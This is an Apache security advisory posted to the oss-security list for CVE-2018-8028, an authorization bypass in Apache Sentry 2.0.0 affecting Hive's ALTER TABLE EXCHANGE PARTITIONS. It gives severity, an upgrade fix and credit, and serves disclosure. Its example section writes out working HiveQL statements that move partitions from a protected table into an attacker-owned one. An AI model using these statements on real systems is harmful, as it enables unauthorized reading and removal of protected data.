Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 23 Aug 2018 11:38:32 -0500
From: Sergio Peña <spena82@...il.com>
To: security@...try.apache.org, biglauer@...udera.com, 
	oss-security@...ts.openwall.com
Cc: dev@...try.apache.org
Subject: [SECURITY] CVE-2018-8028: Bypass ALTER TABLE EXCHANGE PARTITIONS
 authorization for Hive

[SECURITY] CVE-2018-8028: Bypass ALTER TABLE EXCHANGE PARTITIONS
authorization for Hive

Severity:
Major

Vendor:
The Apache Software Foundation

Versions Affected:
This vulnerability affects only the version of Apache Sentry 2.0.0 due to
the introduction of
Hive 2.x.

Description:
An authenticated user can execute ALTER TABLE EXCHANGE PARTITIONS without
being authorized by Sentry.
This can allow an attacker unauthorized access to the partitioned data of a
Sentry protected table and can allow
an attacker to remove data from a Sentry protected table.

Mitigation:
Apache Sentry users using 2.0.0 should upgrade to 2.0.1 or later.

Example:
The admin has created the following table in a database that the attacker
doesn't have access to:
> CREATE TABLE target_database1.aliens (name string) PARTITIONED BY
(home_planet string, diet string);
> ALTER TABLE target_database1.aliens ADD PARTITION (home_planet='earth',
diet='milk shakes');
> ALTER TABLE target_database1.aliens ADD PARTITION
(home_planet='trapis-4', diet='sentient lifeforms with cheese');

The attacker has a database attacker_database, created as follows:
> CREATE TABLE attacker_database.data_stealer (name string) PARTITIONED BY
(home_planet string, diet string);
> ALTER TABLE attacker_database.data_stealer EXCHANGE PARTITION
(home_planet='earth', diet='milk shakes')
   WITH TABLE target_database1.aliens;

The attacker now has access to all of the data in the target partitions
with the privileges available to them on attacker_database.

Credit:
This issue was discovered by Benjamin Iglauer of Cloudera.

References:
https://cwiki.apache.org/confluence/display/SENTRY/Vulnerabilities+found+in+Apache+Sentry

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.